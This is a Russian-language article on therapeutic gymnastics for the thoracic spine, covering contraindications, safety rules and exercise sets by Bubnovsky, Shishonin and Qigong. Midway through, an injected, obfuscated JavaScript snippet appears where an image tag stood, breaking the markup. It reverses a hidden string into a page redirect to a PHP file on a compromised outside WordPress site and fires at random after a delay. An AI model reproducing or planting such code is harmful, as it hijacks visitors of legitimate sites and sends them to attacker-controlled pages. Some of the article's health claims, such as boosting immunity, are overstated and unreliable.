Здоровье костно-мышечной системы — основа функциональной активности организма. В настоящее время в связи с малоподвижным образом жизни уровень заболеваний позвоночника вырос в несколько раз. Самое простое, что может человек сделать для своего организма — регулярно заниматься специфической гимнастикой, подвергая мышцы, кости, суставы и сухожилия оптимальной нагрузке. Лечебная физическая культура способна продлить полноценную жизнь человека на много лет.
Содержание
Для чего нужна лечебная гимнастика
Лечебная гимнастика — комплекс составленных специалистами специфических упражнений, направленных на активацию собственных физиологических резервов организма. Люди, на протяжении нескольких месяцев занимавшиеся ЛФК, отмечают улучшение самочувствия, прилив бодрости и сил.
Возрастные изменения позвоночника
С возрастом происходит постепенное «изнашивание» костно-мышечной системы. Это связано, в первую очередь, с прямохождением человека. Под действием силы тяжести происходит уменьшение упругости и подвижности позвоночного столба, снижается его устойчивость к возникновению травм: вывихов, переломов, растяжений.
Возрастные изменения костно-мышечной системы человека:
- изменение формы позвонков (они становятся выпуклыми с обеих сторон);
- уменьшение высоты позвонков;
- уменьшение толщины и объёма межпозвоночных дисков;
- сглаживание кифотического изгиба;
- уменьшение длины позвоночника в грудном и поясничном отделе на четыре-шесть сантиметров;
- образование костных шипов — остеофитов, причиняющих болевые ощущения;
- снижение плотности костного вещества;
- уменьшение эластичности связок и подвижности суставов.
Принципы лечебной физической культуры
Как и любая методика, направленная на улучшение человеческого здоровья, лечебная физкультура имеет свои принципы, которые были сформированы ещё древними античными философами. При несоблюдении этих правил возможно ухудшение терапевтического эффекта, его ослабление или даже извращение.
Принципы ЛФК:
- цикловая система выполнения упражнений — нагрузка регулярно чередуется с отдыхом, промежутки между физическими упражнениями заполняются дыхательной гимнастикой, которая восстанавливает сердечный и дыхательный ритм;
- индивидуальный подход к назначению заданий — для каждого пациента разрабатывается определённый режим отдыха и тренировок, что позволит максимально задействовать резервы организма;
- соблюдение интенсивности нагрузок — изнуряющие и длительные тренировки не дадут такого результата, как дробное выполнение упражнений;
- комбинирование ЛФК с другими средствами лечения: массажем, медикаментами, хирургическим вмешательством;
- систематизация комплекса лечебных нагрузок — чередование упражнений, особенности их выполнения, длительность промежутков отдыха;
- соблюдение регулярного режима тренировок — только постоянная нагрузка способна адаптировать организм;
- постепенное увеличение кратности совершения упражнений, длительности и интенсивности физических нагрузок;
- введение новых упражнений, направленных на активацию различных мышечных групп;
- контроль выполнения физических нагрузок медицинским реабилитологом или тренером.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/11/trener-lfk-1-728×488.jpg» alt=»Мужчина выполняет упражнение под контролем реабилитолога» width=»728″ height=»488″ /> Занятия ЛФК наиболее эффективны, если проводятся под контролем медицинского реабилитолога
Эффекты от упражнений
Лечебная физкультура ставит перед собой множество целей, и большинство из них с успехом достигаются при правильно подобранном курсе упражнений. Повышение двигательной активности благоприятно сказывается как на позвоночнике, так и на всём организме в целом.
Важные эффекты от регулярного применения физических нагрузок:
- улучшение кровоснабжения поражённых тканей и лимфатического оттока от них;
- стимуляция обмена веществ в клетках и тканях;
- снижение интенсивности и длительности болевого синдрома различной локализации;
- формирование правильной, здоровой осанки;
- уменьшение нагрузки на позвоночный столб;
- рост и развитие мышечной системы организма;
- нормализация работы эндокринной системы (желёз внешней и внутренней секреции), стабилизация гормонального фона;
- повышение резистентности организма к бактериальным, вирусным и грибковым раздражителям;
- активация иммунной системы;
- уменьшение активности воспаления за счёт выброса противовоспалительных медиаторов;
- профилактика апатичных, депрессивных состояний;
- увеличение общего тонуса организма.
Кому не рекомендуется применять лечебную физкультуру в качестве средства оздоровления
Лечебная физкультура помогает восстановиться взрослым, старикам и даже совсем маленьким детям. Её регулярное применение обеспечивает профилактику рецидивов проблем с позвоночником. Но к сожалению, как и любая медицинская инновация, ЛФК подходит не всем. Многие люди, самовольно назначая себе выполнение некоторых упражнений, усугубляют уже имеющиеся хронические заболевания.
Ограничения на применение ЛФК
При некоторых заболеваниях лечебной физической культурой можно заниматься, только соблюдая повышенную осторожность. Это значит, что допуск на занятия должен предоставить врач. Больной обязан уведомить тренера, который проводит гимнастику, о наличии тех или иных заболеваний.
Таблица: болезни, при которых существуют ограничения на занятия ЛФК
| Вид патологии | Примеры заболеваний |
| Заболевания бронхо-лёгочной системы | Эмфизема лёгких, бронхиальная астма с частыми приступами удушья, силикоз, силикоантракоз, пневмокониозы, хроническая обструктивная болезнь лёгких и бронхит в стадии обострения |
| Заболевания желудочно-кишечного тракта и печени | Болезнь оперированного желудка, язвенная болезнь желудка и двенадцатиперстной кишки в стадии обострения, цирроз печени алкогольной, вирусной и токсической этиологии, неалкогольная жировая болезнь печени, печёночная энцефалопатия |
| Нарушения обмена веществ в организме | Сахарный диабет первого и второго типа, алиментарное ожирение, нарушение функции щитовидной и паращитовидной желёз, нарушение функции надпочечников, гипоталамо-гипофизарной системы |
| Заболевания центральной и периферической нервной системы | Недавно перенесённые острые транзиторные ишемические атаки, ишемический и геморрагический инсульт, болезнь Вильсона-Коновалова, хорея Гентингтона, болезнь Альцгеймера, болезнь Паркинсона |
| Заболевания сердца и сосудов | Недавно перенесённый обширный инфаркт миокарда, фибрилляция желудочков и предсердий, кардиомиопатии (дилатационная и алкогольная), миокардиты, перикардиты бактериальной и вирусной этиологии, гипертоническая болезнь и симптоматические артериальные гипертензии, расслоение аорты, пороки развития аорты и магистральных сосудов |
| Нарушения органов чувств | Близорукость высокой степени (более -12), повышенный риск возникновения отслойки сетчатки, недавно проведённое оперативное вмешательство; хронические инфекционные заболевания органов слуха (отит, поражение барабанной перепонки) |
| Заболевания психики | Шизофрения в стадии обострения, маниакально-депрессивный психоз (маниакальная фаза), корсаковский синдром, алкогольный делирий |
Абсолютный запрет на применение ЛФК
Некоторые заболевания абсолютно не устойчивы к малейшим физическим нагрузкам. Гимнастика и силовые упражнения могут сделать только хуже, и вместо ожидаемой пользы получится вред, вызывающий обострение и утяжеление симптомов патологий.
Если вы относитесь к группе людей, которым категорически нельзя применять гимнастику, не стоит расстраиваться. Существует множество различных методик массажа и физиотерапии, которые помогут поправить состояние здоровья.
Лечебную гимнастику нельзя применять:
- лицам в тяжёлом и крайне тяжёлом состоянии;
- пациентам, имеющим обострение любого хронического заболевания;
- лицам с инфекционными заболеваниями (туберкулёз, малярия);
- людям с подъёмом температуры тела выше 37 градусов;
- больным, страдающим от обезвоживания и истощения;
- людям, имеющим риск возникновения кровотечения;
- пациентам, находящимся в шоковом состоянии.
Основные показания и противопоказания к гимнастике грудного отдела позвоночника
Позвоночник требует к себе особого отношения. Внутри позвоночного столба в костном канале проходит спинной мозг, и любая деформация или смещение позвонков может вызвать грубые нарушения спинальных рефлексов или даже привести к параличу. Курс упражнений для спины должен быть назначен совместно врачом-травматологом и специалистом медицинской реабилитации, если существуют весомые показания:
- остеохондроз позвоночника любой степени;
- нейроциркуляторная дисфункция;
- нарушение равновесия и заболевания вестибулярной системы;
- реабилитационный период после травм и ушибов позвоночника;
- активизация мышечного каркаса спины после длительного ношения специального медицинского корсета;
- остеопороз костной системы;
- хроническая краниалгия и цервикалгия;
- нарушения осанки;
- уменьшение подвижности грудной части позвоночного столба;
- реабилитация организма после парезов и параличей;
- болевой синдром разной степени интенсивности.
В профилактических целях также рекомендовано заниматься лечебной гимнастикой:
- лицам, страдающим избыточной массой тела;
- людям, ведущим малоподвижный образ жизни и придерживающимся неправильного питания;
- женщинам старше пятидесяти лет в периоде менопаузы;
- женщинам, планирующим беременность;
- спортсменам, регулярно нагружающим позвоночник;
- людям, работающим в неудобной позе (работа за столом или у станка на производстве).
Противопоказания к упражнениям на грудной отдел позвоночника:
- остеохондроз в фазе обострения;
- злокачественные новообразования спинного мозга и позвоночника;
- туберкулёз позвоночника;
- сирингомиелия (заболевания с образованием полостей в спинномозговом канале);
- грыжевое поражение позвоночника;
- коксартроз;
- наличие металлоконструкций в позвоночнике.
Как готовиться к выполнению упражнений
Гимнастические упражнения принесут ожидаемый результат только при соблюдении необходимых условий для их выполнения: ненадлежащая обстановка может свести на нет все усилия пациента и врача. Подходить к созданию места для занятий в домашних условиях стоит с особым терпением. Соблюдение техники безопасности также снизит риск возникновения неприятных последствий.
Необходимые условия для занятий на дому
Скользкие полы, плохая вентиляция, неправильное освещение и отсутствие спортивной одежды и обуви могут значительно навредить качеству исполнения упражнений. Чтобы обустроить место для домашних тренировок и проводить их правильно, нужно придерживаться нескольких правил.
Необходимые условия для занятий физической культурой:
- спортивная одежда — леггинсы или лёгкие свободные спортивные штаны, майка, не стесняющая движений;
- спортивная обувь на плоской подошве — при занятиях только в носках существует риск поскользнуться и упасть;
- просторная комната, не загромождённая излишком мебели, где человек может вытянуться лёжа в полный рост;
- хорошее естественное или искусственное освещение;
- наличие в комнате для занятий хотя бы одного окна и вентиляции;
- гимнастические маты или коврики;
- музыкальное сопровождение — лёгкая, ритмичная и спокойная музыка, создающая атмосферу для занятий.
Правила техники безопасности при выполнении упражнений
Техника безопасности — важный элемент спортивных нагрузок даже для профессиональных спортсменов. Для людей, имеющих некоторые проблемы со здоровьем, её соблюдение является первым правилом. При грамотном подходе к упражнениям риск травматизации становится минимальным.
Основные аспекты безопасного проведения упражнений:
- разогрев и разминка мышц перед началом основных упражнений;
- контроль тренером правильности выполнения заданий;
- постепенный переход от простых упражнений к более сложным;
- чередование нагрузок с периодами отдыхами;
- выполнение дыхательных упражнений в процессе отдыха;
- контроль самочувствия — при появлении тошноты, рвоты, головокружения и усиления болевого синдрома требуется закончить упражнение и обратиться к специалисту.
Методика исполнения и этапы проведения упражнений
Каждое упражнение имеет свою специфику и определённую этапность в проведении занятий. Главное — не пропускать ни одной тренировки без уважительной причины, вести дневник своего самочувствия и самоконтроля, а также регулярно посещать лечащего врача. Гимнастика поможет устранить боль, вернуть подвижность позвоночника и восстановить запас сил на продолжительный период.
Комплекс гимнастики от Сергея Бубновского
Сергей Бубновский — известный специалист в области ортопедии и терапии. Его методики отличаются избирательным индивидуальным подходом к каждому пациенту. При выполнении его упражнений происходит активация как шейной, так и грудной части позвоночника, что обеспечивает максимальный эффект в короткие сроки.
Несколько несложных упражнений по методике Бубновского:
- Неполный мостик: на гимнастическом коврике принимаем положение лёжа на спине, руки упираются ладонями в пол. Тазовая часть туловища поднимается на максимально возможную высоту, удерживается в таком состоянии двадцать секунд и опускается. Нужно повторить эти движения около тридцати раз.
- «Сонная кошечка»: в положении на четвереньках нужно медленно совершить прогиб спины, а затем плавно вернуться в исходное положение. Рекомендуется повторять упражнение не менее двадцати пяти раз.
- Растяжение мускулатуры: правую ногу подогнуть под себя, а левую вытянуть назад. Затем нужно медленно совершать наклон вперёд и в стороны. Кратность повторения — пятнадцать раз в одну сторону.
- Наклоны из положения на четвереньках: плечи максимально направлены вперёд, производятся наклоны с выгибанием в правую и в левую стороны по двадцать раз.
- Тренировка мышц живота: в положении лёжа нужно максимально напрячь мышцы живота и слегка приподнять голову и грудной отдел позвоночника, а затем расслабиться и опуститься на коврик. Повторять около десяти-двенадцати раз.
Видео: лечебные упражнения от доктора Бубновского
Гимнастические упражнения Цигун
Цигун — древняя китайская практика, направленная на единение сил природы и человека. Такой союз, согласно летописям китайских мудрецов, поможет вернуть былую силу даже самым пожилым. В основе гимнастики лежат упражнения, целью которых является восстановление физиологического положения позвоночника.
Лечение по методике Цигун:
- Наклоны в разные стороны осуществляются из положения стоя, ноги разведены чуть шире плеч. На вдохе нужно медленно наклониться в одну сторону, параллельно производя растяжку, а на выдохе вернуться в исходную позицию. Выполнять упражнение стоит не менее десяти раз.
- Из положения стоя, ноги на ширине плеч, производятся повороты туловища в разные стороны, при этом нужно направлять взгляд себе за спину, стараясь разглядеть, что там происходит. Повторять двадцать пять раз.
- Упражнение «лодочка»: из положения лёжа на животе нужно поднять сначала ноги, а затем плечевой пояс, удержать равновесие в течение одной минуты. Кратность повторения — шесть раз.
- Из положения лёжа на спине производится максимальное натяжение носочков ног вниз, а верхняя часть туловища с вытянутыми руками при этом тянется вверх. Длительность растяжки составит две-три минуты.
- Исходная позиция — стоя, опора на стенку. Голова медленно опускается, плечевой пояс стремится за ней, а позвоночник и грудь плотно прижаты к стенке. Повторять необходимо двенадцать раз.
Видео: лечебная практика Цигун
Укрепление мускулатуры грудного отдела позвоночника
Мышечный каркас обеспечивает подвижность и устойчивость позвоночного столба. Физические упражнения помогают развить мышечную массу, тем самым перебросив часть статической нагрузки на мускулатуру спины и шеи.
Укрепляющие и развивающие упражнения:
- Под шею и голову подкладывается небольшой валик, исходная позиция — лёжа на гимнастическом мате, ноги согнуты в коленях, руки свободно лежат рядом с туловищем. Нужно медленно поднять нижнюю часть тела вверх, а затем опустить обратно. Повторять упражнение десять раз.
- Из положения стоя, руки на поясе произвести несколько выпадов вперёд, а затем в правую и в левую стороны. Кратность повторения этого упражнения составляет от пяти до десяти раз.
- Из положения лёжа на боку нужно тянуться носочком одной ноги сначала влево, а затем вправо. После переворота на другой бок повторить те же действия с другой ногой десять-пятнадцать раз.
- Позиция лёжа на спине с согнутыми ногами: нужно ухватить руками свои лодыжки и покачаться вправо и влево в течение пятнадцати секунд. После расслабления повторить упражнение ещё десять раз.
- Из позиции стоя нужно максимально приблизить лопатки друг к другу, при этом вытягивая позвоночник вверх. Кратность повторения — двенадцать раз.
Видео: укрепление мышечного каркаса спины
Упражнения для грудной и шейной частей позвоночника от доктора Шишонина
Доктор Шишонин длительное время работал в центре медицинской реабилитации Сергея Бубновского, что позволило ему создать собственный курс занятий, направленных на восстановление шейного и грудного отделов позвоночника. После выполнения его рекомендаций многие пациенты навсегда избавились от неприятных ощущений в области спины.
Курс занятий от Шишонина:
- Первое упражнение называется «Метатрон». Оно растягивает боковые мышцы шеи и заключается в том, что нужно медленно наклонять голову в сторону, потянувшись макушкой к плечу. Зафиксировать положение при максимально возможном растяжении мышц, вернуться в исходное положение и повторить в другую сторону.
- Упражнение «Пружина» напоминает движение этого предмета. Нужно сначала наклонить голову вниз, потом вытянуть вперёд и вверх. Оно хорошо растягивает мышцы на задней поверхности шеи.
- Третье упражнение называется «Взгляд в небо». При его выполнении голова максимально поворачивается в сторону, причём нужно стараться смотреть вверх. После фиксации на 30 секунд и возврата в исходное положение нужно повторить то же самое в другую сторону.
- Упражнение «Рамка» – это вариация предыдущего. При повороте головы подключается плечевой отдел: руку нужно положить на противоположное плечо, держа локоть параллельно полу.
- Ещё более усложняет выполнение третьего упражнения поднятие рук вверх. Их нужно соединить ладонями над головой. Упражнение называется «Факир».
- Растянуть мышцы передней поверхности шеи можно с помощью упражнения «Цапля». Руки нужно положить на колени, локти отвести назад. В это время подбородок тянется вперёд и вверх.
- Для выполнения последнего упражнения нужно встать. Называется оно «Гусь». Имитируя эту птицу, нужно вытянуть шею вперёд, подбородок параллельно полу. В таком положении поворачивать голову к одному, потом к другому плечу.
Видео: лечение боли в спине по доктору Шишонину
Реабилитация с помощью ЛФК после операций и травм на позвоночнике
Травма позвоночника никогда не проходит бесследно. Многие люди годами мучаются от ноющей или свербящей боли в спине, от которой не помогают ни таблетки, ни уколы. В такие моменты важность занятий лечебной физической культурой выходит на первый план.
Упражнения для восстановления после травм позвоночника:
- Для этого упражнения необходимо наличие гантелей весом от одного до полутора килограммов. Пациент ложится на живот, отводит руки в стороны и берёт гантели. Далее нужно максимально отводить руки назад и вверх, удерживая их в таком положении. Упражнение повторять двадцать-тридцать раз.
- Повороты на живот: для совершения этого упражнения потребуется два и более гимнастических матов. Из позиции лёжа на спине пациенту необходимо без помощи рук и ног переместиться на живот. Кратность повторения этих движений составит три-пять раз.
- Вращение туловищем: из позиции стоя, ноги чуть шире плеч, необходимо произвести вращения верхней частью тела в обе стороны, при этом ноги и таз остаются неподвижными. Рекомендуется повторять десять раз.
- Наклоны вперёд: из позиции стоя, ноги шире плеч, нужно медленно и плавно максимально нагнуться, касаясь носков обуви или гимнастического коврика. При невозможности наклониться так низко нужно хотя бы коснуться коленей. Повторять десять-пятнадцать раз.
Занятия для растяжения мышц и совершенствования гибкости грудной части позвоночника
Чтобы увеличить подвижность грудного отдела позвоночника, необходимо регулярно совершать растяжку. Растяжка может использоваться как в качестве подготовки к основному комплексу занятий, так и в качестве самостоятельного упражнения, направленного на развитие гибкости. Разогрев мышц, связок и сухожилий улучшает кровоснабжение позвоночника и повышает эластичность и упругость межпозвоночных дисков.
Методика, направленная на увеличение гибкости позвоночника:
- Из позиции стоя нужно медленно наклониться вперёд и обнять руками колени, простояв в таком положении чуть меньше минуты. Повторять упражнение рекомендуется с небольшим перерывом десять-пятнадцать раз.
- Из позиции сидя со скрещёнными ногами нужно поднять руки над головой, обратив их ладошками друг к другу, и медленно производить наклоны в разные стороны, чередуя их с вытяжением наверх. Повторять упражнение с обязательными перерывами по тридцать секунд в течение пяти минут.
- Исходная позиция — сидя на гимнастическом мате или коврике. Таз опущен на подогнутые в коленках ноги, руки лежат свободно. На вдохе нужно медленно и плавно тянуться вперёд, лечь на коврик, а на выдохе — вернуться. Рекомендованное количество повторений — десять.
- Исходная позиция — сидя на коврике, ноги вытянуты вперёд, руки опущены. Необходимо медленно потянуться вперёд, стараясь коснуться своих лодыжек. Повторять упражнение пятнадцать-двадцать раз.
Видео: растяжка для позвоночника
Упражнения для лечения шейно-грудного отдела позвоночника
Для лечения боли в грудном отделе позвоночника специалисты часто рекомендуют использовать водные процедуры. Сочетание гимнастики и акватерапии даёт поразительные результаты: через несколько занятий многие люди совершенно забывают о боли. Рекомендуется заниматься в специальном бассейне под руководством тренера. Гимнастика противопоказана людям, которые имеют какие-либо кожные заболевания.
Занятия в бассейне проводятся два или три раза в неделю. Остальное время пациент должен заниматься обычными видами лечебной гимнастики.
Комплекс упражнений для шейно-грудного отдела:
- Поставьте ноги на ширине плеч, медленно разводите в руки стороны, максимально прогибаясь в лопатках. Упражнение рекомендуется выполнять по шею в воде, делая три подхода по 10 раз.
- Отведите руки назад и скрестите пальцы в замок. Медленно поднимайте сведённые руки вверх и возвращайте в исходное положение. Выполнять упражнение рекомендуется в три-четыре подхода по десять-пятнадцать раз.
- Зайдите в бассейн по пояс, медленно ходите по дну и делайте круговые движения руками. Это упражнение можно выполнять как разминку или в перерыве между другими упражнениями.
- Поднимите руки вверх, заведите их за голову, поставьте ноги на ширину плеч и лягте на воду. Поза «звёздочка» позволяет привести все мышцы спины в тонус.
- Отойдите на мелководье и лягте на дно, предварительно зажав резиновый мячик стопами. Руками упритесь в дно и медленно поднимайте ноги над водой и опускайте в воду. Тело должно быть в положении планки. Это упражнение необходимо делать под контролем инструктора.
Возможные осложнения и нежелательные последствия
Большая часть осложнений при выполнении лечебной гимнастики возникает из-за нарушения техники безопасности: не соблюдается режим проветривания, регулярность выполнения и интенсивность нагрузок. Но есть случаи, когда гимнастика была начата пациентом несмотря на запрет врача: эти осложнения являются самыми тяжёлыми и лечатся дольше всего.
Осложнения и последствия несоблюдения предписаний врача:
- усиление болевого синдрома и распространение его на другие области;
- растяжение связок и сухожилий;
- травмы в результате неудачного падения (ушибы, вывихи);
- сдавление нервных и сосудистых пучков;
- нестабильность грудного и шейного отделов позвоночного столба;
- спазмы и судороги мышц конечностей;
- обострение хронического заболевания;
- переломы и смещения позвонков;
- обмороки и синкопальные состояния.
Отзывы ведущих специалистов в области травматологии и медицинской реабилитации
Роль плавания при лечебных и реабилитационных мероприятиях у больных с патологией позвоночника (в т. ч. и при наличии грыж межпозвонковых дисков) слишком преувеличена. Для создания хорошего мышечного корсета достаточно выполнять комплекс ЛФК, состоящий из 8–12 упражнений. Комплекс повторяется трижды. Времени на это уйдёт от силы 20–25 минут, а польза будет огромная.
Все несколько относительно. Восстановиться прекрасно можно и ходьбой, и ЛФК на земле, и даже в тренажерном зале. Главное — постепенность и разумность. В плавании и йогоподобной гимнастике сложно навредить себе, там нет резких движений, там есть постепенность и при всем этом, регулярно у моих пациентов обострения от них. Постепенность, разумность, регулярность. Вот столпы реабилитации и тренированности, независимо от методики.
Плавание воздействует на позвоночник неоднозначно. Если передний опорный комплекс (диск) разгружается особенно в передних отделах, то задний подвергается компрессии (гиперэкстензия без элементов растяжения). Это может вызвать усиление болевого синдрома от фасеточных (межпозвонковых) суставов или усиление компрессии корешка при грыже (сужение каналов особенно при нестабильности). Плавать рекомендуется в тёплой воде, короткими дистанциями с отдыхом стоя вертикально в воде (на мелкоте) или лёжа вне воды. Более оптимальным будет плавание с кругом под руками или в специальном (можно спасательном) жилете. Он существенно снижает компрессию заднего опорного комплекса, уменьшает необходимость гиперэкстензии при плавании и даёт возможность отдыха на глубине. Помните — малые дозы стимулируют, большие разрушают.
Для «укрепления» мышц необходимо чтобы они, сокращаясь, вызывали движения в суставах двигательных сегментов позвоночника. Теперь риторический вопрос, КАК дозировать мышечные сокращения чтобы вызванные ими движения не увеличили чрезмерно нагрузку на сегмент, который и так работает «за себя и за того парня»?
Здоровый позвоночник — основа активного образа жизни. При выполнении всех рекомендаций медицинского реабилитолога получится восстановить подвижность суставов, укрепить мышцы спины и длительное время сохранять бодрость. Лечебная гимнастика — отличное дополнение к средствам традиционной медицины. Она поможет избавиться от боли и избежать повторного её возникновения.
